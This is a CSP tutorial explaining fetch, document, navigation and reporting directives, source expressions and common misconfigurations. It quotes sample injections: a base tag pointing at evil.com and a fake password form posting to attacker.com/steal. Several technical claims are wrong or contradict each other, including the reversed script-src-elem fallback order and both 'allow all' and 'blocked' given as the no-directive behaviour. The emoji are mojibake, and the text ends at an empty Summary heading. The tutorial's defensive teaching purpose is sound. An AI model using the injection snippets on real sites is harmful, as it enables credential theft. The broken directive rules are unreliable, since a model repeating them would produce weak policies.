CSP Directive Architecture
Master script-src, object-src, base-uri and other directives for comprehensive content control
Introduction to CSP Directive Architecture
Imagine you've built a beautiful web application. You've carefully crafted every feature, tested every interaction, and deployed it proudly to production. Then, one morning, you wake up to discover that attackers have injected malicious scripts into your pages, stealing user credentials and redirecting visitors to phishing sites. Despite your best efforts at input validation and output encoding, a single overlooked vulnerability has compromised your entire platform. This nightmare scenario is exactly what Content Security Policy (CSP) was designed to prevent, and understanding its directive architecture is your first line of defense.
The web security landscape has fundamentally changed over the past decade. Traditional security measures that focused solely on server-side validation are no longer sufficient. Modern web applications load resources from dozens of sourcesβthird-party analytics, advertising networks, content delivery networks, and external APIs. Each of these represents a potential attack vector. But what if your browser could enforce strict rules about what resources can load and execute on your pages? What if you could create a security perimeter that operates independently of your application code? This is precisely what CSP directive architecture provides, and mastering it will transform how you think about web security. Throughout this lesson, you'll encounter free flashcards to help reinforce these critical concepts as we build your understanding layer by layer.
The XSS Problem and CSP's Solution
Cross-Site Scripting (XSS) attacks remain one of the most prevalent and dangerous web vulnerabilities. According to OWASP, XSS consistently ranks among the top security risks facing web applications. The fundamental problem is deceptively simple: attackers find ways to inject executable codeβusually JavaScriptβinto your web pages. This code then runs with the same privileges as legitimate scripts, accessing cookies, session tokens, and sensitive user data.
Traditional defenses against XSS rely on input sanitization and output encodingβessentially trying to catch and neutralize malicious content before it reaches the browser. While these techniques are essential, they're inherently reactive and error-prone. A single missed validation check, a forgotten encoding function, or a newly discovered browser parsing quirk can create an exploitable vulnerability.
π― Key Principle: CSP shifts the security paradigm from "trying to filter out bad content" to "explicitly allowing only good content." Instead of playing defense, you're defining the rules of engagement.
This is where Content Security Policy directives fundamentally change the game. Rather than relying solely on your application code to prevent malicious content, CSP creates a declarative security layer directly in the browser. You specify exactly what types of resources can load, from which sources, and under what conditions. The browser then enforces these rules automatically, blocking anything that doesn't match your policyβeven if that content somehow made it past your server-side defenses.
π‘ Real-World Example: In 2019, British Airways suffered a massive data breach where attackers injected malicious JavaScript that captured customer payment information. A properly configured CSP policy would have prevented the injected script from executing, as the browser would have blocked it for not matching the allowed script sources. This single security header could have prevented a breach that cost the company Β£20 million in fines.
How CSP Works as a Browser Security Layer
To understand CSP's power, you need to grasp how it integrates into the browser's resource loading pipeline. When a browser receives an HTML document, it begins parsing and rendering the content. During this process, it encounters various resources: scripts, stylesheets, images, fonts, iframes, and more. Normally, the browser loads all of these resources without questionβa trust model that dates back to the early web.
CSP introduces a policy enforcement point into this pipeline. Before loading any resource, the browser first checks whether that resource is permitted by the active CSP policy. This check happens at the browser level, not in your application code, making it extremely difficult for attackers to bypass.
Here's the crucial insight: CSP operates on a whitelist model. By default, when you enable CSP, many resource types are blocked unless you explicitly allow them. This "deny by default" approach is the opposite of traditional web security, where everything is permitted unless you specifically block it.
Traditional Security Model:
βββββββββββββββββββββββββββββββββββββββββββ
β Allow Everything β
β β β
β Try to Block Bad Stuff (filtering) β
β β β
β Hope Nothing Slips Through β
βββββββββββββββββββββββββββββββββββββββββββ
CSP Security Model:
βββββββββββββββββββββββββββββββββββββββββββ
β Block Everything (default deny) β
β β β
β Explicitly Allow Trusted Sources β
β β β
β Browser Enforces Automatically β
βββββββββββββββββββββββββββββββββββββββββββ
π€ Did you know? CSP was first introduced as "Content Restrictions" by Mozilla in 2004 as an experimental feature in Firefox. It took nearly a decade of refinement before CSP became a W3C recommendation in 2016, and it continues to evolve with CSP Level 3 currently in development.
The Directive-Based Architecture
At the heart of CSP lies its directive-based architecture. Rather than providing a monolithic "secure" or "insecure" switch, CSP gives you fine-grained control through individual directives. Each directive controls a specific aspect of resource loading behavior.
Think of directives as specialized security guards, each responsible for a different entrance to your web application:
π script-src: Controls which JavaScript sources can execute π¨ style-src: Governs where stylesheets can load from πΌοΈ img-src: Manages image resource origins π connect-src: Restricts AJAX, WebSocket, and fetch destinations π¦ default-src: Provides a fallback policy for any directive not explicitly set
This modular approach provides enormous flexibility. You might allow images from any source (perhaps for user-generated content) while strictly controlling script sources to only your own domain. Each directive operates independently but can work together to create comprehensive security policies.
π‘ Mental Model: Think of CSP directives like a nightclub's security system. Different guards check different things: one checks IDs at the door (script-src), another ensures coats are checked properly (style-src), another monitors the back entrance (connect-src). Each has specific responsibilities, but together they secure the entire venue.
Delivery Mechanisms: Headers vs. Meta Tags
CSP policies are delivered to the browser through two primary mechanisms: HTTP headers and HTML meta tags. Understanding when and how to use each is crucial for effective CSP implementation.
HTTP headers are the preferred and most powerful delivery method. When your server responds to a request, it includes a Content-Security-Policy header that contains your policy directives:
Content-Security-Policy: script-src 'self' https://trusted-cdn.com; style-src 'self'
This header-based approach has several advantages:
π Applies before page parsing: The browser receives the policy before processing any HTML content π Works for all resource types: Headers can control framing behavior and form submissions π Easier to manage centrally: Security teams can configure headers at the server or CDN level π Cannot be modified by page content: Attackers can't inject meta tags to weaken policies
Alternatively, you can specify CSP using an HTML meta tag within your document:
<meta http-equiv="Content-Security-Policy"
content="script-src 'self'; style-src 'self'">
Meta tags provide flexibility when you cannot modify HTTP headers (such as in static hosting environments), but they come with important limitations:
β οΈ Common Mistake: Using meta tags for CSP when HTTP headers are available. Meta tags cannot control certain directives like frame-ancestors or report policy violations, and they only take effect after the browser parses the HTML head section.
Mistake 1: Relying on meta tags for full CSP protection β οΈ
If an attacker can inject content before your meta tag appears in the HTML, they can execute malicious code before the policy takes effect. HTTP headers eliminate this race condition entirely.
Browser Enforcement and the Security Contract
When a browser receives a CSP policy, it enters into a security contract with your web application. This contract fundamentally changes the browser's behavior:
π§ Inline script blocking: By default, CSP blocks inline JavaScript (<script>alert('xss')</script>) and inline event handlers (onclick="malicious()")
π§ eval() prohibition: Dangerous dynamic code evaluation functions are disabled
π§ Resource origin checking: Every resource load is validated against the policy
π§ Violation reporting: Browsers can report policy violations to a specified endpoint
This enforcement happens at the browser's discretionβyour application code cannot override or bypass CSP restrictions. This is a critical security property: even if attackers compromise your application logic, they cannot disable the security policy protecting the user's browser.
π‘ Pro Tip: CSP operates in two modes. Enforcement mode (via the Content-Security-Policy header) actively blocks violating resources. Report-only mode (via the Content-Security-Policy-Report-Only header) logs violations without blocking them. Always deploy new CSP policies in report-only mode first to identify legitimate resources your policy might accidentally block.
The browser's enforcement mechanism is sophisticated. It doesn't just check URLs; it evaluates the entire context of a resource load:
- What type of resource is being loaded? (script, style, image, etc.)
- From what origin? (same-origin, cross-origin, protocol)
- How is it being loaded? (inline, external, dynamic)
- What initiated the load? (HTML tag, JavaScript, CSS)
Resource Load Pipeline with CSP:
[Browser encounters resource]
β
[Identify resource type] β Which directive applies?
β
[Extract source origin] β Does it match an allowed source?
β
[Check load context] β Is inline content permitted?
β
[Decision]
/ \
Allow Block
β β
[Load] [Report]
[Console]
π― Key Principle: CSP's browser-level enforcement creates a security boundary that operates independently of your application code. This "defense in depth" approach means that even if attackers find a way to inject content, they still face the CSP barrier.
The Foundation for Modern Web Security
CSP directive architecture represents a fundamental evolution in web security thinking. Instead of trying to sanitize every possible input and predict every attack vector, you're defining the legitimate behavior of your application and letting the browser enforce those boundaries.
This shift has profound implications:
β Correct thinking: "My CSP policy defines what should happen. Anything else is blocked, even if I didn't anticipate that specific attack."
β Wrong thinking: "I've filtered out dangerous characters from user input, so I'm protected from XSS."
The directive-based approach scales with your application's complexity. As you add new features, integrate third-party services, or refactor code, your CSP policy can evolve accordingly. Each directive operates independently, so you can tighten security for critical resources (like scripts) while maintaining flexibility for less sensitive content (like images).
Moreover, CSP directives work synergistically with other modern security features:
| π Security Feature | π€ How It Complements CSP |
|---|---|
| π Subresource Integrity (SRI) | CSP allows a source; SRI verifies the content hasn't been tampered with |
| π HTTP Strict Transport Security (HSTS) | HSTS enforces HTTPS; CSP's upgrade-insecure-requests directive handles mixed content |
| π Same-Site Cookies | CSP prevents script execution; Same-Site prevents CSRF token theft |
| π Trusted Types | CSP blocks unauthorized sources; Trusted Types prevent DOM XSS through type safety |
As we move forward in this lesson, you'll learn how to construct effective directive policies, understand the hierarchical relationships between directives, and master the syntax for expressing complex security requirements. The directive architecture we've introduced here forms the foundation for all of these advanced topics.
π§ Mnemonic: Remember CSP's core value with "DEAL":
- Declarative: You declare rules, not implement filtering logic
- Enforced: Browser enforcement, not application-level
- Allowlist: Explicitly permit trusted sources
- Layered: Defense in depth alongside other security measures
Understanding CSP directive architecture isn't just about learning another web technologyβit's about fundamentally rethinking how we approach web application security. With this foundation in place, you're ready to dive deeper into the specific directive categories and how they map to different resource types and security concerns.
Core Directive Categories and Their Purposes
Content Security Policy directives form a sophisticated control system that maps directly to how browsers load and execute resources. Understanding the architecture of these directivesβhow they're organized into categories, how they relate to each other, and which security concerns they addressβis essential for building effective security policies. Think of CSP directives as a comprehensive firewall for your web application, where each directive type guards a different entry point.
Fetch Directives: The Resource Origin Controllers
Fetch directives form the largest and most commonly used category of CSP controls. These directives determine where the browser can load specific types of resources from, creating a allowlist for each resource category. When the browser encounters a resource request, it checks the corresponding fetch directive to determine whether the origin is permitted.
The most critical fetch directive is script-src, which controls where JavaScript can be loaded from. This directive is your primary defense against XSS attacks, as it prevents attackers from injecting malicious scripts from untrusted domains. For example, script-src 'self' https://cdn.example.com permits scripts only from your own domain and a specific CDN.
style-src governs CSS stylesheets and follows similar patterns to script-src. While CSS injection attacks are less common than script injection, they can still exfiltrate data or create convincing phishing interfaces. A directive like style-src 'self' 'unsafe-inline' allows your own stylesheets plus inline styles (though we'll discuss why 'unsafe-inline' is problematic later).
Other important fetch directives include:
π img-src - Controls image sources, preventing data exfiltration through image requests to attacker-controlled servers
π font-src - Restricts font file origins, as fonts can contain executable code in some formats
π connect-src - Governs XMLHttpRequest, Fetch API, WebSocket, and EventSource connectionsβcritical for API security
π media-src - Controls <audio> and <video> element sources
π object-src - Restricts <object>, <embed>, and <applet> elements (often set to 'none' in modern policies)
π frame-src - Determines which URLs can be loaded in frames (related to child-src)
π worker-src - Controls Web Workers and Service Workers, which have significant capabilities
π‘ Real-World Example: An e-commerce site might use connect-src 'self' https://api.payment-processor.com https://analytics.example.com to allow API calls only to their own backend, their payment processor, and their analytics service. Any attempt by injected malicious code to send data elsewhere would be blocked.
Browser Resource Request Flow:
[Browser encounters resource]
|
v
[Identify resource type] ---> script? ---> Check script-src
| style? ---> Check style-src
| image? ---> Check img-src
| etc.
v
[Check relevant fetch directive]
|
v
[Origin in allowlist?] --Yes--> [Load resource]
|
No
v
[Block & report violation]
The default-src Fallback Mechanism
π― Key Principle: The default-src directive serves as a fallback for any fetch directive you don't explicitly specify. This creates a hierarchical inheritance model that simplifies policy management while allowing granular control where needed.
When the browser needs to load a resource, it follows this resolution path:
Resource Load Decision Tree:
[Resource type X needs loading]
|
v
[Does X-src directive exist?]
|
Yes | No
| |
v v
Use X-src [Does default-src exist?]
|
Yes | No
| |
v v
Use default-src Allow all origins
(legacy behavior)
For example, if your policy is default-src 'self'; script-src 'self' https://cdn.example.com, then:
- Scripts can load from your domain AND the CDN (script-src takes precedence)
- Images can only load from your domain (falls back to default-src)
- Stylesheets can only load from your domain (falls back to default-src)
- Fonts can only load from your domain (falls back to default-src)
π‘ Pro Tip: Start with a restrictive default-src 'self' and then add specific exceptions for directives that need them. This "deny by default, permit by exception" approach is more secure than trying to restrict each directive individually.
β οΈ Common Mistake: Thinking that default-src combines with specific directives. It doesn'tβspecific directives completely override default-src for their resource type. β οΈ
β Wrong thinking: "I have default-src 'self'; script-src https://cdn.example.com, so scripts can load from both my domain and the CDN."
β
Correct thinking: "The script-src directive completely replaces default-src for scripts, so I need script-src 'self' https://cdn.example.com to allow both."
Document Directives: Controlling Document Properties
Document directives don't control where resources load from; instead, they govern properties and behaviors of the document itself. These directives protect against different classes of attacks.
The base-uri directive restricts which URLs can be used in a document's <base> element. This might seem obscure, but it's critical: the <base> tag affects all relative URLs in a document. An attacker who can inject <base href="https://evil.com"> could redirect all your relative links and script loads to their server.
<!-- Without base-uri protection, an attacker injects: -->
<base href="https://attacker.com/">
<!-- Now this loads from attacker.com instead of your domain: -->
<script src="/js/app.js"></script>
A policy like base-uri 'self' prevents this attack vector entirely.
The sandbox directive applies sandboxing restrictions to the document, similar to the iframe sandbox attribute but for the entire page. This is particularly useful for user-generated content pages. Values include allow-forms, allow-scripts, allow-same-origin, and others.
π€ Did you know? The sandbox directive is unique because including it with no value applies the most restrictive sandbox possibleβno scripts, no forms, no same-origin access. You must explicitly allow capabilities you need.
Navigation Directives: Controlling Document Navigation
Navigation directives control where and how the document can navigate users. These directives defend against clickjacking, unwanted redirects, and form hijacking.
The form-action directive restricts which URLs can be used as form submission targets. This prevents attackers from injecting forms that send data to malicious servers:
<!-- Attacker tries to inject: -->
<form action="https://attacker.com/steal" method="POST">
<input name="password" placeholder="Confirm your password">
<button>Continue</button>
</form>
With form-action 'self', this form submission would be blocked, even if the attacker successfully injected the HTML.
The frame-ancestors directive is particularly importantβit controls which parents can embed this document in a frame or iframe. This is your primary defense against clickjacking attacks. Unlike the older X-Frame-Options header, frame-ancestors provides fine-grained control:
frame-ancestors 'none'- Document cannot be framed at all (equivalent to X-Frame-Options: DENY)frame-ancestors 'self'- Can only be framed by same-origin pagesframe-ancestors 'self' https://trusted.com- Can be framed by your domain or specific trusted domains
π‘ Mental Model: Think of form-action as "where can this page send users' data" and frame-ancestors as "who can wrap this page in their interface."
Other navigation directives include:
π― navigate-to - Controls which URLs the document can navigate to (experimental, limited browser support)
Reporting Directives: Security Monitoring
Reporting directives don't prevent anythingβinstead, they enable you to monitor CSP violations and detect attacks in production. When the browser blocks a resource due to CSP, it can send a violation report to your servers.
The report-uri directive (deprecated but still widely used) specifies a URL where violation reports should be sent:
Content-Security-Policy: default-src 'self'; report-uri https://csp-report.example.com/violations
When a violation occurs, the browser sends a POST request with JSON data describing the violation:
{
"csp-report": {
"document-uri": "https://example.com/page",
"violated-directive": "script-src",
"blocked-uri": "https://evil.com/malicious.js",
"line-number": 42,
"source-file": "https://example.com/page"
}
}
The newer report-to directive uses the Reporting API and provides more sophisticated reporting:
Report-To: {"group":"csp-endpoint","max_age":10886400,"endpoints":[{"url":"https://csp-report.example.com/violations"}]}
Content-Security-Policy: default-src 'self'; report-to csp-endpoint
π‘ Pro Tip: Use Content-Security-Policy-Report-Only during development and testing. This header reports violations without blocking resources, allowing you to test your policy against real traffic before enforcing it.
π Quick Reference Card:
| Category π | Example Directives π§ | Primary Purpose π― |
|---|---|---|
| Fetch | script-src, style-src, img-src | Control resource origins |
| Document | base-uri, sandbox | Control document properties |
| Navigation | form-action, frame-ancestors | Control navigation & embedding |
| Default | default-src | Fallback for fetch directives |
| Reporting | report-uri, report-to | Monitor violations |
π§ Mnemonic: FeDNR - Fetch resources, Document properties, Navigation controls, Reporting violationsβthe four pillars of CSP directive architecture.
Understanding these directive categories and how they interrelate gives you the foundation to construct comprehensive security policies. Each category addresses different attack vectors, and together they form a defense-in-depth approach to web security. In the next section, we'll explore the detailed syntax for expressing these directives and the powerful source expression patterns that make CSP flexible yet secure.
Directive Syntax and Source Expression Patterns
Understanding the syntax of Content Security Policy directives is essential for writing effective security policies. A CSP directive follows a simple but powerful structure: a directive name followed by one or more source expressions that define where resources can be loaded from. This seemingly straightforward syntax conceals remarkable flexibility and precision, allowing you to craft policies that range from extremely permissive to highly restrictive.
The Anatomy of a CSP Directive
Each directive in your CSP header follows this basic pattern:
directive-name source-expression-1 source-expression-2 source-expression-n;
The directive name identifies what type of resource you're controlling (like script-src for scripts or img-src for images), while the source expressions define the allowed origins. Multiple directives are separated by semicolons, and within each directive, source expressions are separated by spaces. This whitespace sensitivity is crucialβextra spaces don't hurt, but the space character serves as the delimiter between sources.
π‘ Mental Model: Think of each directive as a security checkpoint for a specific resource type, and each source expression as a credential that grants passage through that checkpoint.
Source Expression Types
CSP provides several types of source expressions, each serving different use cases. Understanding when to use each type is fundamental to writing effective policies.
Scheme Sources
Scheme sources specify protocols rather than specific hosts. They're written as the protocol name followed by a colon, such as https:, data:, or blob:. When you specify https:, you're allowing resources from any HTTPS origin, regardless of the domain.
Content-Security-Policy: img-src https: data:;
This policy allows images from any HTTPS source and also permits data URIs for inline images. Scheme sources are broad and should be used carefullyβhttps: essentially allows the entire HTTPS web.
Host Sources
Host sources are the most common type of source expression. They can specify:
π§ Exact domains: example.com allows resources from exactly that domain
π§ Subdomains with wildcards: *.example.com allows any subdomain but not the bare domain
π§ Specific ports: example.com:8080 restricts to a particular port
π§ Paths: example.com/scripts/ (though path support varies and isn't widely recommended)
Host Expression Structure:
[scheme://]host[:port][/path]
Examples:
https://cdn.example.com β Full specification
cdn.example.com β Assumes same scheme as page
*.trusted-cdn.com β All subdomains
https://*.example.com:443 β HTTPS only, specific port
β οΈ Common Mistake: Writing *.example.com does NOT include example.com itselfβonly subdomains like www.example.com or api.example.com. To include both, you must list them separately: example.com *.example.com β οΈ
Nonce Sources
Nonce sources use cryptographic randomness to allow specific inline scripts or styles. A nonce is a random value generated for each page load and added to both the CSP header and the allowed element's nonce attribute.
Content-Security-Policy: script-src 'nonce-r4nd0m3x4mpl3';
<script nonce="r4nd0m3x4mpl3">
// This script executes because the nonce matches
console.log('Allowed!');
</script>
The nonce syntax is 'nonce-VALUE' where VALUE is your random string. Note the single quotesβthey're required around all keyword and nonce values.
π― Key Principle: Nonces must be cryptographically random and unique per page load. Never reuse nonces across requests, as this defeats their security purpose.
Hash Sources
Hash sources allow specific inline scripts or styles based on their content hash. The browser computes a hash of the inline code and compares it to the hashes you've specified in your CSP.
Content-Security-Policy: script-src 'sha256-AbC123...';
The syntax is 'ALGORITHM-HASH' where ALGORITHM can be sha256, sha384, or sha512. Hashes are particularly useful for static inline scripts that don't change frequently.
π‘ Pro Tip: Most browsers' developer tools will show you the correct hash to use when they block an inline script. Check the console error messageβit typically includes the hash you need to add.
Special Keyword Values
CSP defines several special keywords that have predefined meanings. These are always wrapped in single quotes to distinguish them from host sources.
'self'
The 'self' keyword matches the current originβthe same scheme, host, and port as the document itself. This is one of the most commonly used values.
Content-Security-Policy: script-src 'self';
This allows scripts only from your own origin. If your page is served from https://example.com, scripts must come from that exact origin.
'none'
The 'none' keyword blocks all sources of a particular type. It's useful for resource types you don't use at all.
Content-Security-Policy: object-src 'none';
This completely disables plugins like Flashβa common security best practice.
β οΈ Common Mistake: Don't combine 'none' with other sources. The 'none' keyword should always stand alone in a directive. If you write script-src 'none' 'self', the behavior is undefined and browser-dependent. β οΈ
'unsafe-inline'
The 'unsafe-inline' keyword permits inline scripts, styles, or event handlers. As the name suggests, this is unsafe because it defeats much of CSP's protection against injection attacks.
Content-Security-Policy: script-src 'unsafe-inline';
This allows <script> tags with inline code and event handlers like onclick. Use nonces or hashes instead whenever possible.
β Wrong thinking: "I'll use 'unsafe-inline' temporarily and fix it later." β Correct thinking: "I'll use nonces from the start, even if it requires server-side changes."
'unsafe-eval'
The 'unsafe-eval' keyword permits JavaScript's eval() function and similar dynamic code execution methods like new Function().
Content-Security-Policy: script-src 'unsafe-eval';
Many modern frameworks avoid eval(), but some older libraries or template engines still require it.
'strict-dynamic'
The 'strict-dynamic' keyword represents a modern approach to CSP. When present, it allows scripts to load other scripts if they were themselves loaded by a trusted script (one with a valid nonce or hash). This propagates trust through the loading chain.
Content-Security-Policy: script-src 'nonce-xyz' 'strict-dynamic';
π€ Did you know? With 'strict-dynamic', host allowlists are ignored in modern browsers, making your policy simpler and more maintainable. Only the nonces/hashes matter.
Structuring Multi-Value Directives
Most real-world directives combine multiple source expressions. The browser treats these as a logical ORβa resource is allowed if it matches ANY of the specified sources.
Content-Security-Policy:
script-src 'self' 'nonce-abc123' https://cdn.example.com;
This allows scripts from:
- Your own origin ('self'), OR
- Inline scripts with nonce="abc123", OR
- The CDN at cdn.example.com
Whitespace handling is forgivingβyou can use multiple spaces or even line breaks (in the HTTP header format) for readability, though they're normalized to single spaces.
π‘ Pro Tip: When using multiple directives, consider formatting them on separate lines in your server configuration for readability, then having the server join them with semicolons when constructing the actual header.
Precedence and Specificity Rules
When multiple directives could apply to a resource, CSP follows specific precedence rules. Understanding these prevents confusion when debugging policies.
Fetch Directive Fallback Chain
CSP directives fall back in a hierarchy. If a specific directive isn't present, the browser checks for more general directives:
Fallback Chain Example (for scripts):
script-src β script-src-elem β default-src β (blocked)
β β β
most middle most
specific general
If script-src is defined, it's used. If not, the browser checks script-src-elem. If neither exists, it falls back to default-src. If none are specified, the resource is blocked by default in enforcing mode.
Multiple Directives Don't Combine
A critical principle: multiple directives of the same type don't mergeβthe most specific one wins.
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.example.com;
For scripts, only script-src applies. The default-src doesn't add to it; it's completely overridden. Scripts can load from 'self' and the CDN, but images (with no specific directive) fall back to default-src 'self'.
π Quick Reference Card: Common Directive Patterns
| π― Scenario | π‘ Pattern | π Notes |
|---|---|---|
| Maximum security | default-src 'none'; script-src 'self'; |
Start restrictive, add as needed |
| Modern nonce-based | script-src 'nonce-X' 'strict-dynamic'; |
Best for dynamic apps |
| Static site with CDN | default-src 'self'; img-src 'self' https://cdn.example.com; |
Separate CDN for media |
| Legacy compatibility | script-src 'self' 'unsafe-inline'; object-src 'none'; |
Still blocks plugins |
| API endpoint | default-src 'none'; connect-src 'self'; |
Minimal attack surface |
Practical Syntax Patterns
Let's examine real-world patterns that demonstrate these syntax rules in action.
Pattern 1: Progressive Enhancement
Start with a restrictive base and selectively allow trusted sources:
Content-Security-Policy:
default-src 'none';
script-src 'self' 'nonce-PAGE_NONCE';
style-src 'self' 'nonce-PAGE_NONCE';
img-src 'self' data: https:;
font-src 'self';
connect-src 'self';
object-src 'none';
base-uri 'self';
form-action 'self';
This pattern blocks everything by default, then explicitly allows each resource type from specific sources.
Pattern 2: Third-Party Integration
When integrating external services, you'll need to allow their domains:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://analytics.example.com https://cdn.payment.com;
img-src 'self' https://analytics.example.com;
connect-src 'self' https://api.analytics.example.com;
frame-src https://checkout.payment.com;
Note how different directives allow different domains based on what resources each service needs to load.
Pattern 3: Development vs. Production
Development often needs looser policies for hot-reloading and debugging:
// Development
Content-Security-Policy:
default-src 'self';
script-src 'self' 'unsafe-eval';
connect-src 'self' ws://localhost:*;
// Production
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-XYZ';
connect-src 'self' https://api.production.com;
π Security consideration: Never deploy development CSP settings to production. The 'unsafe-eval' and wildcard websocket permissions create significant vulnerabilities.
π§ Mnemonic: SNACK for remembering the five main source types:
- Schemes (https:, data:)
- Nonces ('nonce-xyz')
- Addresses (hosts like example.com)
- Cryptographic hashes ('sha256-...')
- Keywords ('self', 'none', etc.)
Mastering CSP syntax requires understanding not just the individual pieces, but how they combine to form coherent security policies. The syntax is designed to be human-readable while maintaining precisionβeach space, quote, and semicolon plays a specific role in defining your application's security boundaries.
Common Directive Pitfalls and Design Considerations
Even experienced developers frequently misconfigure Content Security Policy directives, inadvertently creating policies that either break legitimate functionality or provide a false sense of security while leaving critical vulnerabilities exposed. Understanding these common pitfalls is essential for crafting CSP policies that genuinely protect users without undermining the application's functionality. This section examines the most prevalent mistakes and provides practical strategies for avoiding them.
The 'unsafe-inline' and 'unsafe-eval' Trap
β οΈ Common Mistake 1: Adding 'unsafe-inline' or 'unsafe-eval' to "fix" CSP violations without understanding the security implications β οΈ
The 'unsafe-inline' and 'unsafe-eval' keywords represent CSP's most dangerous escape hatches. When developers encounter CSP violations after implementing a policy, the quickest "fix" often appears to be adding these keywords. However, this approach fundamentally undermines CSP's core protective mechanisms.
'unsafe-inline' permits inline JavaScript execution through <script> tags, event handlers (onclick, onload, etc.), and javascript: URLs. This is precisely what CSP was designed to prevent, as inline scripts are the primary vector for XSS attacks. When an attacker injects malicious content, they typically inject inline scripts. By allowing 'unsafe-inline', you're essentially disabling CSP's most important protection.
'unsafe-eval' permits the use of eval(), setTimeout(string), setInterval(string), and new Function(string) constructs that dynamically execute strings as code. While less common than inline script attacks, these features enable attackers to execute arbitrary code if they can control the strings passed to these functions.
β WEAK POLICY:
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'
β
SECURE ALTERNATIVE:
Content-Security-Policy: script-src 'self' 'nonce-abc123xyz'
π‘ Pro Tip: Instead of 'unsafe-inline', use nonces (cryptographic tokens generated per request) or hashes (SHA-256 digests of script content). These allow specific inline scripts while blocking injected content. For example: script-src 'nonce-{random}' paired with <script nonce="{random}"> in your HTML.
π― Key Principle: If you find yourself needing 'unsafe-inline' or 'unsafe-eval', the correct solution is almost always to refactor your code, not weaken your policy. Move inline scripts to external files, replace event handlers with addEventListener, and eliminate eval-based patterns.
Misunderstanding default-src Fallback Behavior
β οΈ Common Mistake 2: Assuming default-src is just a backup directive rather than understanding its fallback cascade β οΈ
The default-src directive serves as the fallback for most other fetch directives, but its behavior often confuses developers. When you specify default-src 'self', any directive you don't explicitly set inherits this restriction.
β Wrong thinking: "I'll set a strict default-src and then add specific directives as needed. The specific directives will merge with default-src."
β Correct thinking: "Specific directives completely override default-src. If I set default-src 'self' but need images from a CDN, I must explicitly set img-src 'self' cdn.example.comβthe CDN won't be added to the 'self' restriction, it replaces it."
Consider this policy:
default-src 'self';
script-src 'self' cdn.example.com;
What happens to images? Many developers incorrectly assume images can load from both 'self' and cdn.example.com. In reality:
Resources loaded:
π§ Scripts: 'self' + cdn.example.com (explicit script-src)
π§ Images: 'self' only (inherits from default-src)
π§ Styles: 'self' only (inherits from default-src)
π§ Fonts: 'self' only (inherits from default-src)
π‘ Real-World Example: A developer sets default-src 'none'; script-src 'self'; style-src 'self' expecting maximum security. Their application breaks because they forgot that images, fonts, and fetch/XHR requests also inherit from default-src and are now completely blocked. They must explicitly allow each resource type.
Overly Broad Wildcards and Domain Patterns
β οΈ Common Mistake 3: Using wildcards that match far more domains than intended β οΈ
Wildcard patterns in CSP offer convenience but frequently introduce unexpected security gaps. The three most dangerous patterns are:
*1. The .example.com Trap
script-src 'self' https://*.example.com
This appears to allow scripts from your subdomains. However, it matches any subdomain, including:
user-uploaded-content.example.com(user-controlled content)staging.example.com(potentially less secure environment)partner-widget.example.com(third-party hosted content)
If any subdomain allows user content uploads or is compromised, your CSP provides no protection.
2. The Protocol-Less Pattern
β script-src 'self' *.cdn.com
Without the protocol prefix, this matches both HTTP and HTTPS. An attacker can downgrade to HTTP and inject scripts via man-in-the-middle attacks, completely bypassing your CSP.
β
script-src 'self' https://*.cdn.com
3. The Data: URI Allowance
img-src 'self' data:;
While common for inline images, data: URIs in script-src or object-src are extremely dangerous, as they allow arbitrary code execution through base64-encoded scripts.
π Quick Reference Card: Wildcard Safety
| Pattern | π Risk Level | β οΈ Primary Concern | β Safer Alternative |
|---|---|---|---|
* |
Critical | Allows any domain | Explicit domain list |
*.domain.com |
High | User content subdomains | Specific subdomains |
domain.com (no protocol) |
High | HTTP downgrade attacks | https://domain.com |
data: in script-src |
Critical | Encoded script injection | Remove or use hashes |
blob: with unsafe sources |
Medium | Blob URL manipulation | Restrict blob sources |
Forgotten Directives: The Silent Vulnerabilities
β οΈ Common Mistake 4: Focusing only on script-src and style-src while neglecting other attack vectors β οΈ
Developers often concentrate on the most obvious directivesβscript-src and style-srcβwhile overlooking others that leave significant attack surfaces exposed.
object-src: The Flash and Plugin Vector
Even in 2024, forgetting object-src remains dangerous. Without it, attackers can inject <object>, <embed>, or <applet> tags to load malicious plugins or Flash files (yes, some enterprise environments still have Flash). Even without plugins, object tags can load unexpected content types.
π― Best Practice: object-src 'none'
Unless you specifically need plugins (rare), always explicitly set this to 'none'.
base-uri: The Hidden Navigation Hijack
The <base> tag changes the base URL for all relative URLs in a document. If an attacker can inject a base tag, they can redirect all relative resource loads and form submissions to their server, even with a strict CSP elsewhere.
<!-- Attacker injects: -->
<base href="https://evil.com/">
<!-- Your code: -->
<script src="/js/app.js"></script>
<!-- Now loads from https://evil.com/js/app.js -->
π― Best Practice: base-uri 'self'
form-action: The Phishing Prevention
Without form-action, attackers can inject forms that submit user credentials to arbitrary domains, enabling phishing attacks even when scripts are blocked.
π― Best Practice: form-action 'self'
π€ Did you know? In a 2022 analysis of 1 million websites with CSP, over 60% lacked base-uri directives, and 75% didn't specify object-src, leaving these attack vectors completely open despite otherwise strong policies.
Testing and Validation Strategies
Developing a robust CSP requires systematic testing and validation to catch errors before they reach production.
1. Report-Only Mode for Safe Testing
Use the Content-Security-Policy-Report-Only header to test policies without breaking functionality:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-reports
This reports violations without enforcing the policy, allowing you to identify issues before deployment.
2. Automated Validation Tools
π§ CSP Evaluator (Google): Analyzes your policy for common weaknesses π§ Observatory (Mozilla): Provides security scoring and recommendations π§ CSP Scanner: Checks for known bypasses and misconfigurations
3. Staged Rollout Approach
Phase 1: Report-only on staging β Identify violations
Phase 2: Report-only on production β Monitor real-world usage
Phase 3: Enforce on 10% traffic β Catch edge cases
Phase 4: Full enforcement β Maximum protection
4. Monitoring and Alert Setup
Implement server-side collection of CSP violation reports. Critical patterns to alert on:
- π¨ Violations from authenticated users (possible XSS attempts)
- π¨ Violations on login/payment pages (high-value targets)
- π¨ Unusual violation sources (new attack vectors)
- π¨ Spike in violation rates (deployment issues or attacks)
π‘ Pro Tip: Set up different report URIs for different environments (report-uri /csp-reports-staging) to separate legitimate development violations from production security concerns.
5. Manual Testing Checklist
Before deploying a new CSP:
- β Test all critical user flows (login, checkout, content creation)
- β Verify third-party integrations (analytics, payment processors, chat widgets)
- β Check different browsers (Safari handles CSP slightly differently)
- β Test with browser extensions disabled (can cause false violations)
- β Validate mobile app webviews if applicable
- β Review violation reports from report-only phase
Summary
